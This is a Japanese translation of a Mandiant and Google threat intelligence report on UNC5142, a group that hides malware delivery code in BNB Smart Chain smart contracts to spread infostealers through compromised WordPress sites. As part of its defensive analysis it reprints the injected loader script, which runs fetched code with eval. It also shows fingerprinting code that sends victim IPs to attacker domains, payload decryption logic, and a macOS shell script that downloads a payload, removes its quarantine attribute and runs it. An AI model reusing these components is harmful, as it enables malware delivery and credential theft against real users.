ブロック上の新しいグループ: UNC5142 が EtherHiding を利用してマルウェアを配布
Mandiant
Google Threat Intelligence Group
※この投稿は米国時間 2025 年 10 月 17 日に、Google Cloud blog に投稿されたものの抄訳です。
Mandiant Threat Defense と Google Threat Intelligence Group(GTIG)は、2023 年後半以降、情報窃取型マルウェア(インフォスティーラー)の配布を促進するためにブロックチェーンを悪用する金銭目的の脅威アクターである UNC5142 を追跡してきました。UNC5142 は、侵害された WordPress ウェブサイトと「EtherHiding」技術の使用を特徴としています。EtherHiding は、BNB スマート チェーンなどの公開ブロックチェーンに悪意のあるコードやデータを配置して、それらを隠蔽する技術です。この投稿は、EtherHiding 技術を使用する攻撃者に関する 2 部構成のブログシリーズの一部です。北朝鮮(DPRK)による EtherHiding の採用に関する別の投稿もご一読ください。
2023 年後半以降、UNC5142 は運用セキュリティを強化し、検出を回避するため、戦術、技術、手順(TTP)を大幅に進化させてきました。特に 2025 年 7 月下旬以降、UNC5142 の活動は確認されていません。これは、アクターの運用方法が変化したか、活動が一時的に停止したことを示唆しています。
UNC5142 は、脆弱な WordPress サイトを無差別に標的としているようであり、幅広い業界と地域に影響を与える、広範囲にわたる日和見的なキャンペーンにつながっています。2025 年 6 月の時点で、GTIG は UNC5142 の侵害されたウェブサイトと一致する JavaScript が挿入されたウェブページを約 14,000 件特定していました。UNC5142 のキャンペーンでは、ATOMIC、VIDAR、LUMMAC.V2、RADTHIEF などの情報窃取型マルウェアが配布されていることが確認されています。GTIG は現在、これらの最終的なペイロードを UNC5142 に帰属させていません。これらのペイロードは、他の脅威アクターに代わって配布されている可能性があるためです。この投稿では、UNC5142 の感染チェーン全体について詳述し、運用インフラストラクチャでスマート コントラクトが斬新な方法で使用されている点について分析していきます。また、Mandiant Threat Defense のインシデントから直接観察した内容に基づいて、TTP の進化を図で示します。
UNC5142 の攻撃の概要
UNC5142 の感染チェーンには通常、次の主要なコンポーネントまたは技術が含まれます。
-
CLEARSHORT: ペイロードの配布を促進する多段階の JavaScript ダウンローダ
-
侵害された WordPress ウェブサイト: 脆弱なバージョンの WordPress を実行しているウェブサイト、または脆弱なプラグイン / テーマを使用しているウェブサイト
-
スマート コントラクト: BNB スマート チェーン(BSC)ブロックチェーンに保存された自己実行型コントラクト
- EtherHiding: 公開ブロックチェーンに悪意のあるコードやデータを配置して、それらを隠蔽する技術。UNC5142 は、悪意のあるコンポーネントをスマート コントラクトに保存するために BNB スマート チェーンに大きく依存しているため、従来のウェブサイト セキュリティ ツールでは検出とブロックが困難です。


図 1: CLEARSHORT 感染チェーン
CLEARSHORT
CLEARSHORT は、マルウェアの配布を促進するために使用される多段階の JavaScript ダウンローダです。第 1 段階は、脆弱なウェブサイトに注入された JavaScript ペイロードで構成され、悪意のあるスマート コントラクトから第 2 段階のペイロードを取得するように設計されています。スマート コントラクトは、次の段階である CLEARSHORT ランディング ページを、外部の攻撃者が制御するサーバーから取得する役割を担っています。CLEARSHORT のランディング ページでは、ClickFix という一般的なソーシャル エンジニアリング技術が利用されています。これは、Windows の実行ダイアログ ボックスを使用して、悪意のあるコマンドをローカルで実行するよう被害者を誘い込むことを目的としたものです。
CLEARSHORT は、UNC5142 が 2023 年後半から 2024 年半ばにかけての活動で以前利用していた、CLEARFAKE ダウンローダの進化版です。CLEARFAKE は、Google Chrome ブラウザのアップデート通知を装った悪意のある JavaScript フレームワークです。埋め込まれた JavaScript の主な機能は、ユーザーが [Chrome を更新] ボタンをクリックした後にペイロードをダウンロードすることです。第 2 段階のペイロードは、BNB スマート チェーンにデプロイされたスマート コントラクトに保存されている、Base64 でエンコードされた JavaScript コードです。
侵害された WordPress サイト
攻撃は、脆弱な WordPress ウェブサイトが侵害され、不正アクセスに利用されることから始まります。UNC5142 は、悪意のある JavaScript(CLEARSHORT の第 1 段階)コードを次の 3 か所のいずれかに挿入します。
-
プラグイン ディレクトリ: 既存のプラグイン ファイルを変更する、または新しい悪意のあるファイルを追加する
-
テーマファイル: 悪意のあるスクリプトを含めるために、テーマファイル(header.php、footer.php、index.php など)を変更する
-
データベース: 場合によっては、悪意のあるコードが WordPress データベースに直接挿入される
スマート コントラクトとは?
スマート コントラクトは、BNB スマート チェーン(BSC)などのブロックチェーンに保存されたプログラムで、指定されたトリガーが発生すると自動的に実行されます。これらのトリガーは複雑になる可能性がありますが、CLEARSHORT では、コントラクトに実行を指示し、事前に保存されたデータを返す関数を呼び出すという、よりシンプルな方法を使用しています。
スマート コントラクトには、脅威アクターがその活動で使用するうえで、次のような複数の利点があります。
-
難読化: スマート コントラクト内に悪意のあるコードを保存すると、ウェブサイトのコンテンツを直接スキャンするような従来のウェブ セキュリティ ツールでは検出が難しくなります。
-
可変性(およびアジリティ): スマート コントラクト自体は不変ですが、攻撃者は巧妙な技術を使用します。彼らは、第 2 レベルのスマート コントラクトへのポインタを含む第 1 レベルのスマート コントラクトをデプロイします。第 1 レベルのコントラクトは、侵害されたウェブサイト上でアドレスが変更されることのない安定したエントリ ポイントとして機能し、注入された JavaScript に第 2 レベルのコントラクトからコードをフェッチするように指示します。これにより、攻撃者は侵害されたウェブサイトを変更することなく、このターゲットを変更できます。
-
レジリエンス: UNC5142 のインフラストラクチャと運用の大部分にブロックチェーン技術を使用することで、検出と削除の取り組みに対するレジリエンスが高まります。従来のウェブトラフィックとは異なり、Web3 トラフィックでは従来の URL が使用されないため、ネットワーク ベースの保護メカニズムの実装がより困難になります。また、ブロックチェーンの不変性により、押収や削除の操作も妨げられます。これについては、この投稿の後半でさらに詳しく説明します。
-
正当なインフラストラクチャの利用: BNB スマート チェーンは正当なプラットフォームです。これを使用することで、検出を回避する手段として、悪意のあるトラフィックを通常のアクティビティに紛れ込ませることができます。
スマート コントラクトのインタラクション
CLEARSHORT の第 1 段階では、HTTP、IPC、WebSocket を使用してリモートのイーサリアム ノードとやり取りできるライブラリのコレクションである Web3.js を使用します。通常は、bsc-dataseed.binance[.]org などの公開ノードを介して BNB スマート チェーンに接続します。第 1 段階のコードには、特定のスマート コントラクト アドレスとやり取りする手順が含まれており、コントラクトのアプリケーション バイナリ インターフェース(ABI)で定義された関数を呼び出すことができます。これらの関数は、CLEARSHORT ランディング ページへの URL を含むペイロードを返します。このページはブラウザ内でデコードされて実行され、偽のエラー メッセージが被害者に表示されます。このエラー メッセージのルアーとテンプレートは、実行ダイアログ ボックスから悪意のあるコマンドを実行するよう被害者を誘導するという目標を保ちつつ、時間の経過とともに変化してきました。実行されたコマンドは最終的に後続のペイロードのダウンロードと実行につながります。後続のペイロードは、多くの場合、情報窃取型マルウェアです。
// 公開 CDN からライブラリを読み込んでブロックチェーンとのやり取りを行い、ペイロードをデコードします。
<script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js"></script>
<script>
console.log('Start moving...');
// 主な悪意のあるロジックはウェブページの DOM が完全に読み込まれると実行を開始します。
document.addEventListener('DOMContentLoaded', async () => {
try {
// 公開 RPC ノードを介して BNB スマート チェーンへの接続を確立します。
const web3 = new Web3('https://bsc-dataseed.binance.org/');
// 第 1 レベルのスマート コントラクトとやり取りするためのオブジェクトを作成します。
const contract = new web3.eth.Contract([
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "orchidABI", // 第 2 コントラクト ABI を返す
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "orchidAddress",// 第 2 コントラクト アドレスを返す
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
},
], '0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53'); // 第 1 レベル コントラクトのハードコードされたアドレス。
// ABI は Base64 デコードされた後、解凍されてクリーンな ABI を取得します。
const orchidABI = JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c => c.charCodeAt(0)), {
to: 'string'
}));
// 'orchidAddress' 関数を呼び出して第 2 レベル コントラクトのアドレスを取得します。
const orchidAddress = await contract.methods.orchidAddress().call();
// 第 2 レベルのコントラクトを表す新しいコントラクト オブジェクトが作成されます。
const orchid = new web3.eth.Contract(orchidABI, orchidAddress);
const decompressedScript = pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c => c.charCodeAt(0)), {
to: 'string'
});
eval(`(async () => { ${decompressedScript} })().then(() => { console.log('Moved.'); }).catch(console.error);`);
} catch (error) {
console.error('Road unavaible:', error);
}
});
</script>
図 2: 侵害されたウェブサイトから注入されたコード - CLEARSHORT 第 1 段階
ユーザーが侵害されたウェブページにアクセスすると、挿入された JavaScript がブラウザで実行され、1 つまたは複数の BNB スマート コントラクトへの接続が開始されます。これにより、CLEARSHORT ランディング ページ(第 2 段階)が取得されてレンダリングされます(図 3)。


図 3: Cloudflare の「Unusual Web Traffic」(異常なウェブ トラフィック)エラーが表示された CLEARSHORT のランディング ページ
EtherHiding
UNC5142 の活動の重要な要素は、EtherHiding 技術を使用することです。攻撃チェーン全体を侵害されたウェブサイトに埋め込むのではなく、悪意のあるコンポーネントを BNB スマート チェーンに保存し、スマート コントラクトを動的な構成と制御のバックエンドとして使用します。オンチェーンの操作は、1 つ以上のアクターが管理するウォレットによって管理されます。これらの外部所有アカウント(EOA)は、次のような目的で使用されます。
-
スマート コントラクトをデプロイし、攻撃チェーンの基盤を確立する。
-
攻撃インフラストラクチャに変更を加えるためのネットワーク料金を支払うために必要な BNB を供給する。
-
後続のコントラクトのアドレスの変更や、ペイロード復号鍵のローテーションなど、コントラクト内のポインタとデータを更新する。


図 4: BNB スマート チェーン上の UNC5142 の EtherHiding アーキテクチャ
UNC5142 の TTP の進化
過去 1 年間、Mandiant Threat Defense と GTIG は、UNC5142 の TTP の着実な進化を観察してきました。同社のキャンペーンは、2024 年後半から、単一のコントラクト システムから、動的で多段階のアプローチを可能にする、はるかに複雑な第 3 レベルのスマート コントラクト アーキテクチャへと進化しました。
この進化はいくつかの重要な変化によって特徴付けられます。たとえば動的なペイロード配信のための 3 つのスマート コントラクト システムの採用、悪意のあるルアーをホストするための Cloudflare Pages などの正規サービスの悪用、単純な Base64 エンコードから AES 暗号化への移行などです。このアクターは、ソーシャル エンジニアリングのルアーを継続的に改良し、インフラストラクチャを拡大しています。キャンペーンの規模とレジリエンスの双方を高めるため、時にはスマート コントラクトの並列セットを運用してきました。
Cloudflare Pages の不正利用
2024 年後半、UNC5142 はランディング ページのホストに Cloudflare Pages サービス(*.pages.dev)を使用するようになりました。以前は .shop TLD ドメインを利用していました。Cloudflare Pages は、Cloudflare が管理する正規のサービスです。Cloudflare のネットワークを活用してウェブサイトをオンラインで迅速に立ち上げるメカニズムを提供し、ウェブサイトの読み込みを高速化します。こうしたページにはいくつかの利点があります。Cloudflare は信頼できる企業であるため、これらのページがすぐにブロックされる可能性は低く、古いページが削除された場合でも、攻撃者は簡単に新しいページを迅速に作成できます。
3 つのスマート コントラクト システム
最も大きな変更は、単一のスマート コントラクト システムから 3 つのスマート コントラクト システムへの移行です。この新しいアーキテクチャは、開発者がコントラクトをアップグレード可能にするために使用する、プロキシ パターンと呼ばれる正当なソフトウェア設計原則を応用したものです。安定した変更不可能なプロキシが、バグの修正や機能の追加のために置き換えることができる、別の第 2 レベルのコントラクトに呼び出しを転送します。
このセットアップは、各コントラクトが特定のジョブを持つ、非常に効率的なルーター-ロジック-ストレージ アーキテクチャとして機能します。この設計により、侵害されたウェブサイトの JavaScript を変更することなく、ランディング ページの URL や復号鍵など、攻撃の重要な部分を迅速に更新できます。その結果、キャンペーンのアジリティが増し、削除に対する耐性が高まります。
1) 第 1 レベルのコントラクトへの最初の呼び出し: 感染は、侵害されたウェブサイトに注入された JavaScript が、eth_call を第 1 レベルのスマート コントラクト (例: 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53)に行ったときに始まります。このコントラクトの主な機能は、ルーターとして動作することです。そのジョブは、次の段階のアドレスとアプリケーション バイナリ インターフェース(ABI)を提供することです。これにより、攻撃者は侵害されたウェブサイトの広大なネットワーク全体でスクリプトを更新する必要がほとんどなくなります。ABI データは、圧縮されて Base64 でエンコードされた形式で返されます。スクリプトは、atob() を介してデコードを行い、その後 pako.unzip を使用して解凍してクリーンなインターフェース データを取得します。
2)第 2 レベルのコントラクトを介した被害者のフィンガープリント: 注入された JavaScript は、第 2 レベルのスマート コントラクト(例: 0x8FBA1667BEF5EdA433928b220886A830488549BD)に接続されます。このコントラクトは攻撃のロジックとして機能し、偵察アクションを実行するコードが含まれています(図 5 および図 6)。一連の eth_call 操作を行い、コントラクト内の特定の関数を実行して、被害者の環境をフィンガープリントします。
-
teaCeremony(0x9f7a7126)は、当初は動的コード実行とページ表示の手法として機能していました。後に POST チェックインの追加と削除に使用されました。 -
shibuyaCrossing(0x1ba79aa2): 被害者のプラットフォームまたはオペレーティング システムを特定する役割を担い、時間の経過とともに OS / プラットフォームの値を追加 -
asakusaTemple(0xa76e7648): 当初はコンソールログ表示のプレースホルダとして使用され、後にユーザー エージェント値を送信してユーザー インタラクションの段階を追跡するビーコンに進化 -
ginzaLuxury(0xa98b06d3): 悪意のあるルアーを見つけて取得し、復号して最終的にユーザーに表示するためのコードを取得する役割を担う
コマンド&コントロール(C2)チェックインの機能は、コントラクト内で進化してきました。
-
2024 年後半: スクリプトは STUN サーバー(
stun:stun.l.google.com:19302)を使用して被害者の公開 IP を取得し、saaadnesss[.]shopやlapkimeow[.]icu/checkなどのドメインに送信しました。 -
2025 年 2 月: STUN ベースの POST チェックインが削除され、
teaCeremony(0x9f7a7126)関数内で Cookie ベースのトラッキング メカニズム(data-ai-collecting)に置き換えられました。 - 2025 年 4 月: チェックイン メカニズムが再導入され、強化されました。
asakusaTemple(0xa76e7648)関数が変更され、ドメインratatui[.]todayに段階的な POST リクエストを送信し、ルアーのインタラクションの各フェーズでビーコンを発信して被害者の進行状況を追跡するようになりました。


図 5: 第 2 レベルのスマート コントラクト トランザクションの内容の例
// 第 2 レベルのスマート コントラクトから取得したコードの例(IP チェックと STUN)
if (await new Promise(r => {
let a = new RTCPeerConnection({ iceServers: [{ urls: "stun:stun.l.google.com:19302" }] });
a.createDataChannel("");
a.onicecandidate = e => {
let ip = e?.candidate?.candidate?.match(/\d+\.\d+\.\d+\.\d+/)?.[0];
if (ip) {
fetch('https://saaadnesss[.]shop/check', { // または lapkimeow[.]icu/check
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ ip, domain: location.hostname })
}).then(r => r.json()).then(data => r(data.status));
a.onicecandidate = null;
}
};
a.createOffer().then(o => a.setLocalDescription(o));
}) === "Decline") {
console.warn("Execution stopped: Declined by server");
} else {
await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
}
図 6: 第 2 レベルのスマート コントラクト トランザクションに保存された、デコード済みの偵察コード
3) 第 3レベルのコントラクトにおけるルアーとペイロードの URL ホスティング: 被害者のフィンガープリントが取得されると、第 2 レベルのコントラクトのロジックが第 3 レベルのスマート コントラクト(例: 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA)をクエリします。この最後のコントラクトは、構成ストレージ コンテナとして機能します。通常、暗号化された CLEARSHORT ペイロードをホストする URL、ページを復号する AES キー、および第 2 段階のペイロードをホストする URL が含まれています。


図 7: 暗号化されたランディング ページの URL


図 8: ペイロード URL
静的ロジック(第 2 レベル)を動的構成(第 3 レベル)から分離することで、UNC5142 は第 3 レベルのコントラクトへの単一の安価なトランザクションでドメインを迅速にローテーションし、ルアーを更新し、復号鍵を変更できます。これにより、キャンペーンが削除に対して効果的であり続けることが保証されます。
不変のコントラクトを「更新」する方法
ここで生じる重要な疑問は、定義上変更できないものを攻撃者がどのように更新できるのかということです。その答えは、スマート コントラクトのコードとデータの区別の中にあります。
-
不変のコード: スマート コントラクトがデプロイされると、そのプログラム コードは永続的になり、変更することはできません。その結果、信用と信頼性が確保されます。
-
可変データ(状態): しかしプログラムがデータベースを使用するのと同様に、コントラクトがデータを保存することもできます。コントラクトの永続的なコードには、保存されたデータを変更するために特別に設計された関数を含めることができます。
UNC5142 は、特別な管理機能を備えたスマート コントラクトを構築することでこれを悪用しています。ペイロード URL を変更するために、アクターは制御ウォレットを使用して、これらの関数のいずれかを呼び出すトランザクションを送信し、新しい URL をフィードします。コントラクトの永続コードが実行され、この新しい情報を受け取って、ストレージ内の古い URL を上書きします。
それ以降、コントラクトをクエリするすべての悪意あるスクリプトは、新しい更新されたアドレスを自動的に受け取ります。コントラクトのプログラムはそのままですが、構成は完全に異なります。このようにして、不変の台帳で運用しながらアジリティを実現しています。
トランザクションを分析したところ、第 3 レベルのコントラクトでルアー URL や復号鍵を変更するなどの一般的な更新には、アクターがネットワーク料金として 0.25 米ドルから 1.50 米ドルをかかることが示されています。スマート コントラクトのデプロイにかかる 1 回限りの費用を支払った後、オペレーター ウォレットの初期資金提供は、このような更新を数百回行うのに十分になっています。この低い運用コストは、レジリエンスが高く大量のキャンペーンを可能にする重要な要素であり、最小限の費用で削除に迅速に対応することを可能にしています。
AES で暗号化された CLEARSHORT
2024 年 12 月、UNC5142 は CLEARSHORT ランディング ページに AES 暗号化を導入し、以前使用されていた Base64 エンコードのペイロードから移行しました。これにより、一部の検出の有効性が低下するだけでなく、セキュリティ研究者によるペイロードの分析も難しくなります。暗号化された CLEARSHORT ランディング ページは通常、Cloudflare の .dev ページでホストされています。AES で暗号化されたランディング ページを復号する関数は、第 3 のスマート コントラクトから取得した初期化ベクトルを使用します(図 9 および図 10)。復号は、被害者のブラウザ内でクライアント サイドで行われます。


図 9: スマート コントラクト トランザクション内の AES 鍵
// 復号ロジックの簡略化された 例
async function decryptScrollToText(encryptedBase64, keyBase64) {
const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
const iv = combinedData.slice(0, 12); // IV は最初の 12 バイト
const encryptedData = combinedData.slice(12);
const cryptoKey = await crypto.subtle.importKey(
"raw", key, "AES-GCM", false, ["decrypt"]
);
const decryptedArrayBuffer = await crypto.subtle.decrypt(
{ name: "AES-GCM", iv },
cryptoKey,
encryptedData
);
return new TextDecoder().decode(decryptedArrayBuffer);
}
// ... (暗号化された HTML と鍵を第 3 レベルのコントラクトから取得するコード) ...
if (cherryBlossomHTML) { // cherryBlossomHTML には暗号化されたランディング ページが含まれる
try {
let sakuraKey = await JadeContract.methods.pearlTower().call(); // AES 鍵を取得
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);
// ... (iframe 内で復号 HTML を表示) ...
} catch (error) {
return;
}
}
図 10: 簡略化された復号ロジック
CLEARSHORT テンプレートとルアー
UNC5142 は、ランディング ページにさまざまなルアーを使用し、それらを時間とともに進化させてきました。
- 2025 年 1 月: ルアーには偽のデータ プライバシー契約と reCAPTCHA ゲート(図 11 および図 12)が含まれていました。


図 11: 「データ収集を無効にする」CLEARSHORT ルアー


図 12: 偽の reCAPTCHA のルアー
- 2025 年 3 月: この脅威クラスタは、Cloudflare IP ウェブエラーを模倣したルアーの使用を開始しました(図 13)。


図 13: Cloudflare の「Unusual Web Traffic」(異常なウェブ トラフィック)エラー
- 2025 年 5 月: 「ボット対策のルアー」が確認され、偽の認証手順の別のバリエーションが示されました(図 14)。


図 14: ボット対策のルアー
オンチェーン分析
Mandiant Threat Defense が BNB スマート チェーン上の UNC5142 のオンチェーン アクティビティを分析したところ、明確で進化を続ける運用戦略が明らかになりました。ブロックチェーン トランザクションのタイムラインを見ると、GTIG がメイン インフラストラクチャとセカンダリ インフラストラクチャとして追跡する、2 つの異なるスマート コントラクト インフラストラクチャが使用されていることがわかりました。どちらも最終的な目的は同じで、CLEARSHORT ダウンローダを介してマルウェアを配信します。
BNB スマート チェーンのスマート コントラクト類似性検索(スマート コントラクトのコンパイル済みバイトコードを比較して機能上の共通点を見つけるプロセス)を利用したところ、メインとセカンダリのスマート コントラクトが作成された時点では同一であることがわかりました。これは、観測されたすべてのアクティビティが同じ脅威アクターである UNC5142 によって行われたことを強く示唆しています。アクターは、成功したメイン インフラストラクチャを複製してセカンダリの基盤を作成した可能性が高く、その後、後続のトランザクションで更新し、異なるペイロードを配信した可能性があります。
資金源をさらに分析したところ、両グループのプライマリ オペレーター ウォレットが、同じ中間ウォレット(0x3b5a...32D)から資金を受け取っていたことが示されました。このウォレットは、OKX 暗号通貨取引所に関連付けられたアカウントです。大量の取引所ウォレットからのトランザクションのみに基づくアトリビューションには注意が必要ですが、この財務的なつながりは、同一のスマート コントラクト コードとミラーリングされたデプロイ手法と組み合わされることで、単一の脅威アクターである UNC5142 が両方のインフラストラクチャを制御している可能性を極めて高くしています。
並列配信インフラストラクチャ
トランザクション レコードには、両方のグループの主要なイベントがほぼ同時に発生していることが示されており、管理が連携していることがわかります。
2025 年 2 月 18 日には、セカンダリ インフラストラクチャ全体が作成、構成されただけでなく、メイン オペレーター ウォレットにも同日に追加の資金が送金されました。この資金調達活動の連携は、単一のアクターが運用の拡大の準備を行い、それを実行していることを強く示唆しています。
さらに、2025 年 3 月 3 日には、メイン インフラストラクチャとセカンダリ インフラストラクチャの両方のオペレータ ウォレットが、ペイロードとルアーの更新アクティビティを実施したことがトランザクション レコードに示されました。これは、アクターが 2 つのスマート コントラクトを同時に使用して、別の配布活動を積極的に維持、実行していた、同時キャンペーン管理を示しています。
メイン
Mandiant Threat Defense の分析により、メイン インフラストラクチャの作成が 2024 年 11 月 24 日の短期間に集中して行われたことが特定されました。メインの主要オペレーター ウォレット(0xF5B9...71B)は、同日に 0.1 BNB(当時の価値で約 66 米ドル)で初期資金が提供されました。その後数か月にわたり、このウォレットと関連する中間ウォレットが複数回にわたって資金提供を受け、アクターが継続的なオペレーションのトランザクション手数料を賄ううえで十分な BNB を確保できるようになりました。
メイン インフラストラクチャのトランザクション履歴では、2025 年上半期を通じて一貫した更新が示されています。初期セットアップに続き、Mandiant は 2024 年 12 月から 2025 年 5 月末まで、ほぼ毎月、場合によっては 2 週間に 1 回のペースでペイロードとルアーが更新されることを確認しました。この継続的な活動は、第 3 レベルのスマート コントラクトの頻繁な更新を特徴としており、UNC5142 のキャンペーンの主要なインフラストラクチャとしての役割を示しています。
セカンダリ
Mandiant Threat Defense は、アクターが新しい並列のセカンダリ インフラストラクチャをデプロイしたことで、運用が大幅に拡大したことを確認しました。セカンダリ オペレーターのウォレット(0x9AAe...fac9)は 2025 年 2 月 18 日に資金提供を受け、0.235 BNB(当時約 152 米ドル)を受け取りました。その後まもなく、3 つのコントラクト システム全体がデプロイ、構成されました。Mandiant は、2025 年 2 月下旬から 3 月上旬にかけて、セカンダリ インフラストラクチャの更新が活発に行われたことを確認しました。この初期期間の後、セカンダリ スマート コントラクトの更新頻度は大幅に減少しました。


図 15: UNC5142 のオンチェーン インフラストラクチャのタイムライン
メイン インフラストラクチャは、キャンペーンのコア インフラストラクチャとして際立っており、早期に作成され、継続的に更新されています。セカンダリ インフラストラクチャは、並行して展開される、より戦術的なデプロイメントとして現れます。これは、キャンペーン活動の特定の急増をサポートしたり、新しいルアーをテストしたり、単に運用上のレジリエンスを構築したりするために確立された可能性があります。
この公開時点では、このインフラストラクチャに対するオンチェーンの更新が最後に確認されたのは 2025 年 7 月 23 日です。これは、このキャンペーンが一時停止されたか、アクターの運用方法が変更された可能性があることを示唆しています。
最終的なペイロードの配布
過去 1 年間、Mandiant Threat Defense は、UNC5142 が VIDAR、LUMMAC.V2、RADTHIEF など、さまざまな最終ペイロードを配布していることを確認しました(図 16)。さまざまなペイロードが一定期間にわたって配布されていることから、UNC5142 はマルウェア配布の脅威クラスタとして機能している可能性があります。配布脅威クラスタは、サイバー犯罪の脅威の状況において重要な役割を果たしており、技術的な洗練度がさまざまなアクターに、マルウェアを配布したり、被害者の環境への初期アクセスを獲得したりする手段を提供しています。しかし、情報窃取型マルウェアが継続的に配布されていることを考えると、この脅威クラスタの目的は、窃取した認証情報を入手して、他の脅威クラスタに認証情報を販売するなど、さらなる活動を促進することである可能性も十分にあります。UNC5142 の正確なビジネスモデルは不明ですが、GTIG は現在、最終的なペイロードを脅威クラスタに帰属させていません。これは、ペイロードが配布脅威クラスタである可能性があるためです。


図 16: UNC5142 の最終ペイロードの経時的な分布
2025 年初頭からの感染チェーンの分析により、UNC5142 は最初の CLEARSHORT ルアーの後、4 段階の配信チェーンを繰り返し実行することが明らかになりました。
-
最初のドロッパー: 最初の段階では、ほぼ常にリモートの HTML アプリケーション(.hta)ファイルが実行されます。多くの場合、.xll(Excel アドイン)などの無害なファイル拡張子で偽装されています。このコンポーネントは、悪意のあるドメインまたは正規のファイル共有サービスからダウンロードされ、ブラウザのセキュリティ サンドボックス外で被害者のシステム上でコードを実行するためのエントリ ポイントとして機能します。
-
PowerShell ローダー: 最初のドロッパーの主な役割は、第 2 段階の PowerShell スクリプトをダウンロードして実行することです。このスクリプトは、防御回避と最終ペイロードのダウンロードのオーケストレーションを担当します。
-
正規サービスの悪用: アクターは、暗号化されたデータ blob をホストするために、GitHub や MediaFire などの正規のファイル ホスティング サービスを継続的に利用しています。最終的なペイロードがアクター自身のインフラストラクチャでホストされているインスタンスも確認されています。この戦術により、悪意のあるトラフィックが正当なネットワーク アクティビティに紛れ込み、レピュテーション ベースのセキュリティ フィルタを回避します。
- メモリ内実行: 1 月初旬には、実行可能ファイルが VIDAR の配信に使用されていましたが、それ以降、最終的なマルウェア ペイロードは、一般的なファイルタイプ(例: .mp4, .wav, .dat)を装った暗号化されたデータ blob として配信されるようになりました。PowerShell ローダーには、この blob をダウンロードし、メモリ内で復号して、最終的なペイロード(多くの場合 .NET ローダー)を実行するロジックが含まれています。復号されたマルウェアがディスクに書き込まれることはありません。


図 17: UNC5142 の情報窃取型マルウェアの配信感染チェーン
以前のキャンペーン
以前の感染チェーンでは、第 1 段階の .hta ドロッパーの URL は、CLEARSHORT のルアーのコマンドに直接ハードコードされていることがよくありました(例: mshta hxxps[:]//...pages.dev)。中間 PowerShell スクリプトは、GitHub などの公開リポジトリから最終的なマルウェアを直接ダウンロードします。
2025 年 1 月
アクターの主な進化は、マルウェアを実行可能ファイルとして直接配信することをやめたことであるといえます。代わりに、MediaFire などのサービスで暗号化されたデータ blob をホストし、メディア ファイル(.mp4、.mp3)を装うようになりました。PowerShell ローダーは、メモリ内のこれらの blob をデコードするための復号ルーチン(AES、TripleDES など)を含むように更新され、最終段階の .NET ドロッパーまたはマルウェア自体を明らかにしました。
2025 年 2 月以降
最も大きな変化は、オンチェーン インフラストラクチャの統合を深めたことです。CLEARSHORT スクリプトは、ルアーにドロッパーの URL をハードコードするのではなく、第 3 レベルのスマート コントラクトに直接 eth_call を行うようになりました。スマート コントラクトは、第 1 段階のドロッパーの URL を動的に提供します。これにより、アクターは誘い込み後のインフラストラクチャをリアルタイムで完全に制御できます。スマート コントラクトに単一の安価なトランザクションを送信するだけで、ドロッパーのドメイン、ファイル名、およびその後のチェーン全体を変更できます。
RADTHIEF につながる感染チェーンでは、アクターが、第 1 段階の URL をルアーに直接ハードコードするという、古い静的な技術に戻っていることが Mandiant Threat Defense によって確認されました。これは、UNC5142 が柔軟なアプローチを採用し、各キャンペーンに合わせて感染方法を適応させていることを示唆しています。
macOS を標的として狙う
特に、この脅威クラスタは、配布キャンペーンで Windows システムと macOS システムの両方を標的としています。2025 年 2 月と 2025 年 4 月に、UNC5142 は macOS 向けにカスタマイズされた情報窃取型マルウェアである ATOMIC を配布しました。これらのキャンペーンのソーシャル エンジニアリングのルアーは進化してきました。2 月の最初のルアーでは「Instructions For MacOS」と明示的に記載されていましたが、4 月の後半のバージョンでは、Windows キャンペーンで使用されたルアーとほぼ同じものでした(図 18 と図 19)。2 月の感染チェーンでは、ユーザーはルアーによって、シェル スクリプトを取得する bash コマンドを実行するよう促されました(図 18)。このスクリプトは、curl を使用してリモート サーバー hxxps[:]//browser-storage[.]com/update から ATOMIC ペイロードを取得し、/tmp/update という名前のファイルに ATOMIC ペイロードを書き込みました(図 20)。bash スクリプト内で xattr コマンドを使用することは、com.apple.quarantine 属性を削除するために意図的に行われた防御回避技術といえます。この属性を削除すると、macOS でセキュリティ プロンプトが表示されなくなります。通常、ダウンロードしたアプリケーションを初めて実行する前に、ユーザーの確認が必要になります。


図 18: 2025 年 2 月の macOS「Installation Instructions」(インストール手順)CLEARSHORT ルアー


図 19: 2025 年 5 月以降の macOS「Verification Steps」(検証手順)CLEARSHORT ルアー
curl -o /tmp/update https://browser-storage[.]com/update
xattr -c /tmp/update
chmod +x /tmp/update
/tmp/update
図 20: install.sh シェル スクリプトの内容
見通しと影響
